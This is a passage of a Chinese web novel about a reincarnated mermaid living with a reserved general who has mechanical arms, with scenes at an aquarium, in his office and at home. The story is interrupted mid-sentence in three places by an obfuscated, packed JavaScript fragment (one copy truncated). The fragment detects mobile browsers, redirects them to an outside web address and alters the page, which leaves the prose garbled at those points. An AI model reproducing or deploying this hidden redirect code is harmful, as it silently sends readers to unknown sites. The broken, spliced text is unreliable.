车子在马路上行驶,陆曜开启自动驾驶模式后,照旧低头在智脑上处理文件。 苏莉坐在后座,一边摸摸真皮座椅,一边甩甩尾巴。 这走的是不是急了点,她的家当还没带呢。 苏莉看向身后车厢内的人鱼车,想了想觉得男人如此迫不及待也是好事,等她到了机构,就让艾米丽把她的家当从陆曜家里邮寄过来。 这样想着,苏莉眼尖地看到前方机构的影子,立刻坐直了身体。 车子缓慢行驶过去,苏莉脸上的笑容越来越大。 车子开过去了。 苏莉:??? 不是送她回机构吗? 苏莉急得用尾巴扫他。 被骚扰了的男人抬手拨开她的尾巴,施舍般地抬眸看一眼外面,“还没到。” 过了过了过了! “安静一点。” 陆曜抬手,解开手腕上的手表朝她扔过来。 苏莉迅速接住,呆愣下来。 嗯? - 海洋馆距离机构不远,隔一条街就到了。 苏莉坐在人鱼车里,被陆曜推进来的时候正好赶上小学生组织春游。 “老师,老师,这里有人鱼!” “是的,这里有人鱼表演哦,等一下大家可以用小天才智脑拍……人鱼!”回过神的女老师调子一下拉高,看着坐在人鱼车里的苏莉震惊不已,掏出手机疯狂拍照。 因为苏莉引起了不小的骚乱,所以工作人员赶忙过来疏通人流,并且邀请她与陆曜一齐走工作人员通道。 “咱们工作人员的通道也是能观赏到各种海洋类生物的哈。”过来引导苏莉和陆曜的是一位年轻的饲养员,她说话的时候一只眼睛看着苏莉,一只眼睛看着陆曜,两边都舍不得放过。 美色和鱼色真的好难抉择啊。 饲养员一边说着夹子音,三人一边来到鲨鱼馆。 苏莉对面的巨大水箱内正在展示人鱼表演。 穿着人鱼尾巴的工作人员露出八块腹肌跟鲨鱼共舞,一曲华尔兹引得众人纷纷惊叹。 突然,待在工作人员通道内的苏莉不小心跟那位工作人员眼对眼。 工作人员猛地一下放开鲨鱼然后窜前贴在玻璃上,激动的假人鱼尾都掉了。 “人……咕噜噜噜……鱼……咕噜噜噜……” 苏莉:……别说话了,你都快缺氧到翻白眼了。 “嗯,我今天不去,有什么事你跟我副官说。”陆曜挂断芙蕾雅的智脑电话,低头看向盯着对面身穿人鱼服工作人员的苏莉。 “他是假的。” 我知道! 等一下,你的意思不会是要把她这个真的放里面吧? 虽然以前苏莉嘴上总说让她家猫出去打工养自己,但她万万没想到这句戏言有一天会落到她头上。 家里这么穷了吗?你还要我出来打工养你! 12.第 12 章 “喜欢看鲨鱼?”顺着小人鱼的视线,陆曜的目光落到前方水箱内那只鲨鱼身上。 这只鲨鱼不算大,也不知道是什么品种,成年男性大小,正从工作人员身后探出头来看她。 隔着水箱玻璃,苏莉看到它龇出来的牙上面还挂着碎肉。 报复,这一定是报复! 就因为她拆了家,所以陆曜在报复她。 你这个男人心思太恶毒了。 “yao。”苏莉仰头,对着男人露出乖巧可爱的笑容。 识时务者为俊杰,她先服软,保命要紧。 男人金色的头发被海洋馆特有的灯光镀上一层淡淡的浅色。 陆曜长得很好看,是那种惊为天人的好看,只是平日里因为不苟言笑,所以显得极其冷肃。 他垂目,瞳孔内印出小人鱼那双朦胧紫色眼眸,柔软的黑色披散下来,海藻一般堆在身边,更将她衬得无辜可怜。 人鱼嗓音柔软,除了夜晚故意嚎叫的声音外,它唤起他的名字时,好听极了。 陆曜双手环胸,搭在手臂上的指尖轻轻动了动。 他微微往下俯身,金色发梢垂落。 “喊我?” 不然呢。 “要什么?” 要活。 陆曜保持着微微俯身的姿势,金色瞳孔内似有流光滑动。 苏莉在里面看到了自己的影子,看起来可怜可爱懵懂无辜极了。 作为一个资深猫奴,不管她家猫犯了什么错,只要睁大眼睛歪头呆萌萌地看她一眼,她都会被这种萌物击败。 算了,原谅它吧,它只是一只猫。 苏莉翘起尾巴,向陆曜展示。 算了,原谅她吧,她只是一条鱼。 鱼有什么错呢? 她只是想帮你装修。 装可爱。 陆曜觉得很神奇,他居然能看懂一条鱼的表情。 虽然这条鱼长得跟人类几乎没有差别,除了耳朵上轻轻扇动的淡紫色耳鳍昭示着它非人的身份,但它毕竟确实是一条鱼。 “yao。”苏莉伸出自己的手,扒拉了一下陆曜。 因为指甲长时间没有修剪,所以紧紧地勾在了他的衣领子上。 苏莉:……母胎单身老鼠人第一次对男人撒娇,有点失误也正常。 就在苏莉想要收回手,重新再撒一遍的时候,因为爪子威力太强,所以连带着也将男人拽得弯下了腰。 今天陆曜没有穿军装,而是穿了一件黑色衬衫。看起来略显单薄,纯正的黑色衬得他肌肤更白,不是那种健康的白,而是病态的惨白。可他的身型又是极好的,宽肩窄臀,胸大腰细。 陆曜双手撑在她的人鱼车上,领口被她的爪子勾开,扯开一个角度,露出漂亮的锁骨线条。 苏莉不小心往里看了一眼,然后又看了一眼。 八块腹肌。 戴着黑色手套的手掌握住她的手,冰冷的触感即使隔着手套也无法抵消。 他将她的手指往上一抬,爪尖从领子上被挪开,领口清晰明了的拉出几条丝线和几个小洞。 男人站直身体,手指依旧勾着她的指尖,然后轻轻捏了捏她的爪子。 细长的手指,跟猫一样尖锐的指甲,不像人类是圆弧形状的,而是尖锐的,无法收缩的兽类形态。 虽然苏莉不喜欢艾米丽替她修剪指甲,就跟她家猫非常不喜欢别人碰它的爪子,帮它修剪指甲一样,但苏莉还是会让艾米丽替自己剪掉一点尖锐的地方,避免误伤到艾米丽。 临出机构前,艾米丽就替她修剪过,现在却已经生长得很长,而且顶部极其尖锐,几乎到了抓哪勾哪的地步。 不过也正因为如此,所以她才能创造出纯手工流苏窗帘这种极富有艺术性的高档软装。 “您的人鱼好像是要抱抱呢。”饲养员满脸羡慕地看向陆曜。 小鱼,跟你干爸说再见,姨姨给你准备粉红色的麻袋子。 然后又一脸羡慕地看向苏莉。 小鱼,你抱得明白吗?要不要姨姨替你? 苏莉:……谁要抱啊! “不抱。”男人松开她的手。 你说不抱就不抱啊! 她非要抱! 苏莉猛地一下伸出胳膊去圈他。 陆曜正巧转身。 按照人鱼车的高低和陆曜的身高,非常凑巧的,她一把抱住了他的……臀部。 不敢睁开眼,希望是我的幻觉。 她收回刚才的话,这个臀也不窄。 看看大屁股(不是)。 男人身体一僵,微微偏头朝她看过来。 苏莉垂目,缓慢松开双臂。 “它好像是在害怕鲨鱼,前面有水母区,虽然还没有对外开放,但这几天已经进入试营业阶段,买好水母馆的票之后咱们可以走VIP通道,相比鲨鱼区,应该更适合您的人鱼。” 饲养员适当解围,并且对眼前父慈女爱的一幕颇为羡慕。 - 陆曜带鱼扫码付款进入水母馆。 水母馆场地很大,里面一共有五个展区,上百万只小水母在黑漆漆的灯光下,被安置在一个个巨大的圆柱型体水缸内。 水波荡漾,七彩斑斓的小水母们舒展开自己伞状的身躯,在水中甩动着长须缓慢飘动,动作优雅肆意,如同最完美的舞者,场面梦幻至极。 “这里是水母馆的圆柱迷宫地区,前方是热带雨林地区,里面有更多稀有水母。”饲养员开始介绍。 因为只对VIP开放,且价格昂贵,再加上场地太大,游客分散,所以这里目前只有他们三人。 苏莉的视线被小水母们吸引,看着它们在水里浮浮沉沉,她下意识咽了咽口水。 嗯? 她为什么会咽口水? “这是咱们的拍照打卡墙,不止是游客,咱们员工也非常喜欢在这里拍照,非常出片。” 这是一面发光小水母爱心型水箱,四周昏暗之下,唯有这片区域里的小水母蠕动着柔软的身躯,带着长长的须须飘动。 出片。 苏莉下意识整理了一下自己的头发和衣服。 陆曜,“不拍。” “咱们还有水母培育基地,您可以买一些水母回家饲养。”饲养员看出苏莉对水母非常感兴趣,立刻积极推销另外一套资本主义陷阱,“我看您的抚慰人鱼应该会很喜欢。” 苏莉伸出双手贴在爱心型水箱上,水箱玻璃上印出她和陆曜的脸。 两人的视线在玻璃上交汇,苏莉眨巴了一下眼睛,伸手摸了摸小水母。想要。 男人轻启薄唇,“不买。” 苏莉:……狗男人你单身一辈子! “其实水母很好饲养的,我们会提供专门的水母缸,可以自动调节温度和光度,自动过滤换水和清理水缸,家政机器人也会按照程序替您喂食。”说到这里,饲养员又加上一句,“您的人鱼看起来真的很喜欢呢,而且其实您不是第一位带人鱼来咱们水母馆的客人,先前那位客人可是为自家人鱼搬了一个一百平方的水母缸回家。您的人鱼这么可爱,别的人鱼有的,咱们当然也不能缺啊!” 说到这里,饲养员激动地握紧了拳头。 一副“宝宝你要什么妈妈都给你买!”,“别的人鱼有的,我的宝宝必须也要有”的架势。 陆曜视线下移,看到正在水母缸上戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330788|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戳戳的苏莉。 它坐在人鱼车上,从陆曜的视线处只能看到她那颗黑乎乎的脑袋,一耸一耸的往水母缸前凑,似乎是想跟里面的水母互动。 “自己挑。”撂下这三个字,陆曜打开一直不断闪烁的智脑,接通副官的电话,“什么事?” “这里有一份紧急文件需要您立即处理,已经发送到您的智脑邮箱内。” “嗯。”陆曜一边打开智脑邮箱,一边往外走。 “莉莉宝宝,我们往这边走去挑选水母。” 饲养员推着苏莉穿过圆柱迷宫和热带雨林地区,来到水母培育基地。 这里有无数水母缸,每只水母缸里面都装着几只小水母正在游动。 右下角竖着的牌子上写着介绍和价格,各种品种都有,价格自然也不一样。 除了这些半米高的水母缸外,另外一侧还有一个巨大的游泳池。 “因为机械生化技术的发展,所以我们海洋馆也在寻求突破,里面是还没完全造好的机械水母。”饲养员注意到苏莉的视线,便贴心的为她解释,也不管她听不听得懂。 对比起她生活的地球,这里的医疗技术更为发达。 仿生机械已经不单单只是一个构想,而是真切的出现在了人类生活之中。 “这是由顶尖科技生物公司NEWER制造的机械水母。等机械水母造好之后,咱们海洋馆还会陆续出现机械鲨鱼,机械企鹅一类的东西,到时候就会开发出一个机械海洋馆……”饲养员一边推着莉莉,一边喋喋不休。 苏莉知道NEWER这个公司,除了投放在智脑上铺天盖地的广告之外,她也从艾米丽嘴里听说过。 奥古斯帝国战后急速崛起的生物公司,以研药起家,后续步入机械生物领域,作为第一个吃螃蟹的人,它是目前奥古斯帝国价值最高的私人企业。 苏莉的视线被泳池中的机械水母吸引。 这只机械水母只套了一半仿生水母皮,跟她刚才看到的真水母没有任何差别。隔着淡淡涌动的水面,苏莉能看到它尚未完成的另外一半机械体。 “其实这只机械水母已经完成了,只套一半皮是为了让大家更好的观赏它的内部结构。” 确实,比起展示一个完全皮套版本的水母,像这样半暴露的展示明显更能震撼人心。 机械水母很大,柔软的机械触角随水流舞动,隔着水面,苏莉似乎能嗅到淡淡的金属味道。 “对了,我们这里还有小型机械水母售卖,就是价格比较昂贵……”饲养员突然想起来这事。 苏莉小手一挥。 买。 苏莉又挑选了几只昂贵的天然水母,颜色是漂亮的淡粉色。 它们长长长的须须几乎飘满整个手提小水缸。 还有几只装在另外一个盒子里的机械水母,看起来跟普通水母没有任何区别。可等到它们飘过来转身的时候,就能看到它们另外一半的机械结构。 极其精巧精密且防水。 它们很小,分别被装在手提小水缸里,由饲养员郑重的交到陆曜手里。 陆曜的视线在机械小水母上停留了一会,随后漫不经心地移开,“走吧。” 他单手转动苏莉的人鱼车,将这两个小水缸都放到了她怀里。 - 坐上车回家,苏莉抱着小水缸坐在后座。 她一会逗逗天然小水母,一会逗逗机械小水母。 陆曜开启自动驾驶模式,眼神从车内后视镜上略过。 小水缸的盖子被苏莉偷偷打开,她的手指搅过天然小水母长长长的须须,然后重重咽了一口口水。 前方慢悠悠传来一道声音,“不可以吃同事。” 13.第 13 章 你管我! 当心她兽性大发偷你手表啊! 今天的晚餐苏莉点了烧烤,她看到水母那么馋应该是缺鱿鱼了。 再吃点蒜末烤茄子,烤牛肉,不爱吃羊肉,来点猪脆骨,烤五花肉,还有烤猪蹄呢,来两个…… 家里一团糟的情况已经被家政机器人处理好,那些纯手工流苏作品也被换成了新家具。 苏莉在家政机器人的面板上点完晚餐后,横躺在沙发上甩尾巴,不小心扇到了从旁边经过的男人。 路这么宽你怎么非往我这里走! 小人鱼的尾巴看似柔软,实则也没什么力气,软绵绵地扇过来,像是安抚的轻拍。腹部酥麻麻的,还有被尾巴扇过的触感。 “剪指甲。” 陆曜将手里的指甲钳扔给苏莉。 不剪。 叛逆莉莉伸出爪子往身侧的新皮质沙发上磨了磨爪子。 下一刻,她的手被人一把抓住,拎到头顶。 “啪嗒”一声,一点尖尖的小指甲掉下来落到她额头上。 苏莉眨了眨眼,有点懵。 “啪嗒、啪嗒……”另外三个指甲也从上面掉了下来。 苏莉躺在沙发上仰头,正看到男人线条流畅的下颌和漂亮的金发。 他戴着黑色手套的手握着她的手腕,一只手就掐住了她的两只手腕,另外一只手拿着最朴素的人鱼指甲钳,正将她的指甲尖尖往指甲钳的小洞里套,然后利落地剪下。 这个指甲钳的设计倒是跟她家的猫指甲钳一模一样。 一只手上的指甲剪完,苏莉终于反应过来。 她挣扎了一下,没挣扎动,就企图用鱼尾巴扇男人的脸,却因为腹部肌肉不足,所以总是差那么一点。 头顶传来男人懒洋洋的声音,“别扇了,给我扇感冒了。” 苏莉:…… 好生气。 是夜,男人去休息了,客厅里安静极了。 啃了一顿烧烤和两个猪蹄子的苏莉实在是不解气,她看着自己被修剪的奇奇怪怪的指甲气得在水箱里吐泡泡。 她一个翻身从水箱里爬出来,捞出自己的智脑,点开板绘软件,疯狂绘画。 半个小时后,一个金发金眸穿着女仆装的Q版陆曜跪在地上给一条人鱼扇扇子的画稿就出现在了她的账号展示上,并且立刻就获得了上万点赞。 解气了。 既然都打开智脑了,那就玩一玩吧。 苏莉先把游戏的每日任务做完,然后又开始刷3d短视频。 “今天带小学生去海洋馆进行社会实践的时候居然遇到了抚慰人鱼!” 下面是一段苏莉被偷拍的视频。 她坐在人鱼车里,正盯着水箱内由海洋馆工作人员假扮的人鱼发呆。 小人鱼微微仰头,露出淡紫雾霭般的水眸,身上穿着春季新品吊带长裙,露出细细的一双胳膊。长长的黑发卷曲而下,红润的樱桃色唇瓣微微嘟起,带着柔软的稚气感。 评论纷纷称赞她的美貌。 视频标签是:绝美人鱼。 点赞了。 “抚慰人鱼的主人是一位超级大帅哥!” 呵,举报了,虚假信息。 - 苏莉已经习惯跟陆曜去上班的日常了,今天她还带了自己的同事,机械小水母。 躺在芙蕾雅给自己买的高档摇摇椅上,苏莉一边吃着甜品,一边喝着咖啡,再看一眼埋头处理工作文件的陆曜,忍不住感叹一句,人生就该这样过啊。 虽然她在享受,但有人在替她负重前行啊。 她吃过最大的苦,就是没加糖的冰美式。 苏莉再喝一口咖啡,醇香入喉,减轻了甜品的甜度,咖啡的苦和甜品的甜融合的恰到好处。 再打开智脑刷刷快乐3d小视频吧。 苏莉打开艾米丽留给她的旧智脑,背对着陆曜刷3d小视频。 对于苏莉的行为,陆曜并没有感觉到奇怪。 毕竟这确实是一条能听懂人话的人鱼。 既然如此,那么它会欣赏3d小视频也很正常。当然,陆曜更觉得它是被这些3d小视频的色彩和声音吸引。 “别划走……” 我就划。 “家人们……” 谁是你家人。 “千万不要……” 就要。 “据悉,奥古斯帝国元帅将于明日乘坐舰船回到帝都赫伯里亚……” 下面是一段极其模糊的3d影像。 你太奶拍的吧。 刷了三个小时小视频,苏莉终于无聊了。 “滴滴滴……”突然,陆曜的智脑发出声音,随后传来副官压低的声音,“上将,元帅回来了。” 陆曜搭在智脑上的指尖一顿。 嗯?刚才的太奶视频不是说明天回来吗? 下一刻,陆曜办公室的门被人推开。 这是苏莉跟班以来,第一次看到有人没有敲门直接就推门而入,包括芙蕾雅这样身份的皇女,都会提前敲门。这是尊重,也是素质。 正是午后,春日阳光极好,办公室里的恒温温度跟外面差不多,通风循环系统缓慢运作,穿着黑色力挺军装的中年男人踩着利落的步子,毫不客气地刷脸开门,从外步入。 他有一头银发短发,梳理成经典侧背头的绅士造型,细长的单眼皮,湛蓝色的眼眸,身型瘦削高挺,脸上虽能看出明显的皱纹痕迹,但身上那股傲然的优雅俊朗却半点不缺,反而更多了几分岁月的沉淀。 “曜,好久不见。”与身上黑色系的军装不同,中年男人脸上露出笑容,看起来似乎是个和蔼可亲的人。 陆曜起身,走到中年男人面前,右手搭在左胸口心脏位置,弯腰行礼。 兰登.莫里森垂目看向面前的男人。 从第一次见面时,他的身高才到自己的腰部,如今却已经成长为独当一面的帝国上将。 成长的力量,年轻的身体,令人感到……厌恶。 兰登脸上再次露出笑容,那双宝蓝色的眸子却缓慢眯了起来。 “曜,半年不见,你怎么连军队教授的礼仪都忘了?你这样让我这个老师很难办啊。”中年男人语气依旧和缓,说出来的话带着不友好的信号。 说着话,兰登擦着陆曜的肩膀走入办公室,坐在了他的位置上。 宽大的黑色皮质老板椅,兰登搭起双腿,双手交叉垫在腹前,微笑着抬眸看向陆曜。 陆曜站在那里,安静地抬眸看兰登一眼。 他的脸上没有被打压过后的愤怒,也没有被羞辱的羞愤,有的只是过分的平静。 陆曜背对着苏莉,摘下了右手的手套。 苏莉躺在摇摇椅上朝那边看过去,因为角度问题,所以她只隐隐看到一点男人的指尖。 银白色的……金属? 苏莉眨了眨眼,身体往后倒,摇摇椅被倒到极限位置。 随后,男人左手的手套也被摘了下来。 这次,苏莉终于看清楚了。 男人的右手搭在心口,只能看到一点银白指尖晃动,垂落在身后的左手却完全展示出了漂亮的机械骨骼。 被苏莉带过来的机械水母在水缸内肆意游动,它一半水母皮,一半机械皮。 陆曜的手没有类人类的肌肤结构,只有明晃晃的机械骨骼。 刺目的银白,从军装袖口延伸上去,沉入黑暗之中,看不到尽头。 “元帅。”男人垂目,金发落下,投下的暗影覆盖了他脸上的表情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336561|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯,乖孩子。”兰登笑着点头,视线落到苏莉身上。 “它就是芙蕾雅给你申请的抚慰人鱼?”兰登起身,军靴落地,走到苏莉身边。 他挺直着背脊,居高临下地看着她,如此角度,更显得身体瘦削至极。 虽然脸上表情温和,但老登眼神却极其疏离轻蔑。 “看起来也是一个乖孩子。”兰登笑着,伸手企图去抚摸苏莉的脑袋。 苏莉抬起手,扒下了他的手表。 兰登:…… - 很快就到下班时间了,一向喜欢当牛马的上将大人居然准时下班了。 苏莉坐在人鱼车上,摇摇晃晃跟在陆曜身后。 虽然外面的天色还没完全暗下来,但军事基地内灯火通明。 苏莉的人鱼车开过被机器人打扫的光可鉴人的地砖,跟着男人来到地下停车库,然后一路安静的回家。 男人坐在驾驶位上,并没有开自动驾驶,而是在自己开车。 苏莉也被放到了副驾驶上。 “安全带。” 哦。 副驾驶的位置可以往后移动,苏莉是第一次知道,这样前座空间非常充分的能够放她的鱼尾。 车速不缓不慢,苏莉的心却忍不住提了起来。 一路上,苏莉都在看眼色。 看着看着就觉得这狗男人长得实在是好看,可惜脾气太差,性格别扭,残暴粗鲁,嘴毒……真是除了美貌一无是处,不像她,美貌与才华并存。 终于熬到家了,苏莉正准备自力更生赶紧逃离这窒息的空间,没想到车门打不开了。 哎,这东西坏了。 “如果说,我现在需要抚慰的话,你会怎么做?” - 当你在简历上撒了谎,而你又获得了这份工作的时候……她又不是正经抚慰人鱼! 按照苏莉的计划,这个时候她就应该将捣蛋进行到底,让陆曜产生放弃她的想法。 低气压下,苏莉感受到了男人不易察觉的焦躁。 他突然侧身,双臂撑在副驾驶两侧,弯腰前倾,虚虚将她圈在怀里,金色的瞳孔凝视着她,里面似有流光滑动。 太近了。 苏莉伸手想拉开两人距离,没想到身体比脑子诚实,一把……圈住了男人的脖子。 苏莉眨了眨眼,有点呆。 男人没有动,下一刻,“咔嚓”一声,她身上的安全带松开了。 哦,原来是要给她解开安全带。 那她现在要怎么办? 地下车库里的灯晦暗难辨,就如同男人眸中的情绪一样,让人看不懂。 下一刻,一颗金色的头颅突然搭在了她的肩膀上。 苏莉:??? 车内安静极了,苏莉感觉到男人喷洒在自己脖颈间的低低喘息声,濡湿了她的肌肤。 苏莉:??? 十分钟后。 好无聊。 苏莉打了一个哈欠,眼尾瞥到男人翘起的一撮金发。 揪一揪。 再揪一揪。 再…… “松开。” 哦。 苏莉松开自己揪着的一撮金毛。 “滴滴滴……”陆曜的智脑发出声音。 男人终于从她肩膀上直起身。 苏莉看到他白皙的面颊上有淡淡的鳞片痕迹,应该是她肩膀上的小鳞片磕出来的印子。 怎么还有点可爱? “曜,听说兰登回来了。” 是芙蕾雅。 “嗯。” “你……没事吧?” “没事。” 那边静默三秒,芙蕾雅道:“看看莉莉?” 陆曜:…… 14.第 14 章 收获一只金手表。 啧,一股老人味。 刷一刷。 苏莉背着陆曜输入密码,然后将洗洗刷刷过的金手表放进自己的保险箱。 虽然当时那老登的表情不太好看,但总不能跟她一条鱼计较吧? 再说了,见徒弟的爱宠不得出点见面礼? 美滋滋的数了数自己从陆曜和芙蕾雅,还有老登手上收集过来的美味小手表和美丽小首饰,苏莉终于安心地关上保险箱。 说是保险箱,其实只是芙蕾雅给她买的玩具保险箱,跟小孩子的玩具差不多。 不过聊胜于无嘛。 芙蕾雅对她过分喜爱,不止给她买零食,还给她买各种玩具和衣服。 因为东西太多了,所以陆曜家里还专门开辟了一个房间来放苏莉的东西。 这是一个靠近客厅水箱的客房,里面家具简单,只有一张床和两个床头柜,卧室侧边连通着单独的衣帽间。 衣帽间里扔着苏莉的衣服,虽然衣柜内有非常多的衣架,但大部分都空着,衣服被堆在一起,从衣柜里蔓延出来,这是苏莉早上试穿衣服的成果。 家政机器人及时进来替她将衣服挂起来,苏莉将保险箱藏到衣柜里面,然后慢吞吞出来的时候撞到衣帽间门口地上的箱子。 衣帽间里不止有衣服,还堆着芙蕾雅给她买的一部分没拆封的玩具。 拆封的那些几乎都被扔在外面客厅了。 其实对于这些弱智小玩具苏莉也不怎么玩,拆开玩弄一番只是为了符合自己的人设罢了。 被撞到的箱子上面有产品介绍。 苏莉下意识低头看了一眼,然后迅速将箱子打开,从里面掏出一个按钮。 这是什么东西! 宠物无障碍交流猫咪狗狗发声录音玩具! 按钮不算大也不算小,是铁制品,为了存放方便,两个按钮还能吸在一起。虽然是铁的,但捧在手里轻飘飘的,可能是用了什么新科技,上面还有图案和文字。 苏莉按下去。 “吃饭。” 嗯,可以有。 再拿一个。 “出去玩。” 嗯!可以有! 苏莉举着这两个按钮,快乐扭曲爬行找到陆曜。 男人正站在卧室里,褪下身上的军装,他的衬衫扣子解开一半,露出半边肩膀,苏莉看到他从指尖延伸到肩膀处的银白机械臂。 陆曜下意识拉上衣物,却在对上苏莉那双淡紫色的眼眸时,动作一顿。 衬衫的料子细滑滑的往下落,陆曜松开手,褪下身上的衬衫。 两条完整的机械臂暴露出来。 线条宽阔流畅的背脊,机械臂与肩膀处完美融合,白皙的肌肤上肉眼可见带着纵横的伤疤。 倒三角的宽肩窄腰,还有两个腰窝深深陷入腰带之下。 “什么事?”陆曜背对着苏莉,换上居家服,然后戴上黑色手套,又顺便把脖子上药效减退的过敏贴换了一个。 男人全程背对着她,苏莉看不到他的表情。 “吃饭,吃饭,吃饭……” 按钮疯狂发声。 陆曜:…… “找三号。” 作为一个极其谨慎的军人,当苏莉从后面靠近他的时候,陆曜是能感受到的。 因此,当那个东西贴上来的时候,陆曜也能感觉到。 按钮被塞进他手里。 人鱼柔软的手掌抚过他的手背。 机械臂上装了传感系统和感知功能,可因为陆曜拒绝升级,所以他无法感知到人鱼手上的温度。 他觉得这种东西没有必要。 “吃饭。” 按钮再次响起,人鱼歪头看他。 “呵。”连续阴霾几个小时之后的男人终于笑出了声。 人鱼在叫他吃饭。 陆曜向来对食物没有欲望。 可这条小人鱼不一样,她对食物很有要求,非常有自己的口味,并且乐此不疲的喜欢让家政机器人做出好吃的菜来。 食物对于陆曜来说,只是填饱肚子的东西,他甚至不记得它们的味道。 “三号。” 不想吃三号做的饭,我要点外卖! 三号做的饭太健康了,她要吃垃圾食品,喝快乐小甜水。 苏莉扒拉陆曜的智脑。 两人一起生活了这么些日子,已经有些默契。 陆曜打开智脑外卖页面。 “点吧。” 苏莉迅速动作。 点一份牛油小火锅涮涮吧。 再点一份肯打鸡十个鸡翅桶给你补补吧。 - 半个小时后,外卖机器人过来送货。 家政机器人接手外卖,将小火锅食材一一摆放好。 火锅店专属外卖机器人站在门口,苏莉伸出手指,在它的面板上点了点。 下一刻,外卖机器人当场来了一段甩面表演。 表演完毕,外卖机器人礼貌退场。 火锅正好也熟了。 苏莉熟练的用筷子夹起一颗牛肉丸放进嘴里。 好烫好烫。 她被烫得生理性眼眶通红,迷糊着眼扒拉着吐在了坐在她身边的陆曜手上。 陆曜:…… 火锅热气蒸腾,煮得咕噜冒泡。 苏莉看一眼男人无动于衷的样子。 想了想,夹起一块烫牛肉又放到了他手上。 真的没有感觉耶。 陆曜:…… - 客厅内除味系统正在运作。 清淡的冷香替换掉油腻的火锅味,是苏莉专门挑选的玫瑰香。 因为觉得折磨无臂独身孤寡脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344955|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很不好且嘴毒的青年很不道德(其实仔细想想前缀好像也没有那么不道德),所以苏莉决定今天晚上就不嚎叫了。 她在水箱里游了一圈,刚刚躺在自己的贝壳床上,又猛地一下坐起来吐泡泡。 隔着水箱里面的水,灯光反照到客厅的天花板上,水波荡漾,那两大块银白色的月色光斑就如同男人的一对机械臂。 苏莉叹息一声。 她真该死啊。 卧室里,陆曜还没睡。 床头灯发出微弱的光亮,他低头凝视着自己的机械臂。 按照曾经他的骨骼手臂肌肉线条,一比一复刻出来,成为了他的第二双手。 可即便如此,幻肢疼痛如跗骨之蛆,不分场合地点随时袭来。 为了减少疼痛触感,他没有升级传感系统,虽然效果甚微,但在却能令他在精神上获得几丝慰藉。 可现在他突然觉得,这到底是慰藉,还是逃避。 - 一觉睡醒,天光大亮。 苏莉睁开眼,客厅里安静极了,她舒展了一下身体,然后从水箱内爬出来。 到处都是清冷的玫瑰香,苏莉遥控着人鱼车来到餐厅,看到家政机器人早已经准备好的早点。 她的是三明治配牛奶。 陆曜则是一杯冰咖啡。 牛奶上贴着一层奶泡,苏莉端起来喝上一口,奶糊糊的奶泡口感在嘴里弥漫开。 陆曜推开卧室门出来,看到跟昨日几乎一模一样的复刻版灾难现场,陷入了一阵短暂的沉默,然后习惯性的接受一切,像在大润发杀了十年鱼一样,心已经变得和刀一样冰冷。 苏莉已经想好了,应该有比她更专业的抚慰人鱼来代替自己的工作。 因此,磨沙发和抓窗帘并且用男人的咖啡洗手这种事情她还是会继续坚持的。 虽然昨天闭上眼睛本想内疚一下,没想到睡着了,但她还是保持了自己的专业素养,进行了一顿室内装修。 陆曜抬手,家政机器人立刻利落的给他换了一杯咖啡。 端起咖啡的瞬间,陆曜动作一顿。 冰冷的杯壁贴在他的指尖,他能感受到冰块水汽从杯子里蔓延出来的温度。 放下咖啡,陆曜垂目看向苏莉。 苏莉坐在人鱼车里,嘴里还在咀嚼三明治。 两边腮肉鼓起,更衬得一双眼澄澈透亮,连带着那双标志性的人鱼耳朵都因为美味三明治所以轻轻扇动。 男人抬手,指尖率先落在苏莉鼻尖。 如同蝴蝶落下,很轻,微冷。 苏莉神色诧异地抬头。 男人的指尖往下滑,落到她的下颚处。 那里有很细小的鳞片。 肌肤柔软的触感,鳞片的滑腻感,感觉很脆弱。 肌肤的温度是……比人类略低一些湿润的三十度左右。 15.第 15 章 苏莉驾驶着人鱼车跟陆曜来到门口。 “今天你不去。”男人突然转身看她。 为啥。 算了,反正也不是很想去,虽然只是陪班,但如果不是生活所迫,谁又愿意上班呢?回去看帅哥跳舞。 苏莉调转车头躺回沙发上,等着陆曜离开就打开智脑。 陆曜看一眼乖巧躺在沙发上的小人鱼,拿着文件打开门出去。 一路来到车库,男人坐上车,随手将文件扔在副驾驶上,然后打开自动驾驶,开始查看智脑上副官新发过来的文件。 车子自动驾驶来到基地,陆曜拿着文件打开办公室的门,早就已经等在门口的副官紧随其后,等着拿上将手中的文件去复印然后放入档案室。 虽然现在已经是电子信息时代,但为了保险起见,一些重要文件还是会进行纸质复印留存。 陆曜做事一向细心,他打开文件正准备确认最后一遍,当文件夹被打开的时候,里面碎成一条一条的雪白黑字文件缓慢落下,厚厚一叠,堆积在男人脚边,其中还夹杂着许多鳞片,就好像是肇事者故意留下的线索。 副官:…… 副官偷偷看自家上将脸色。 陆曜心情平和的让副官重新复印一份过来。 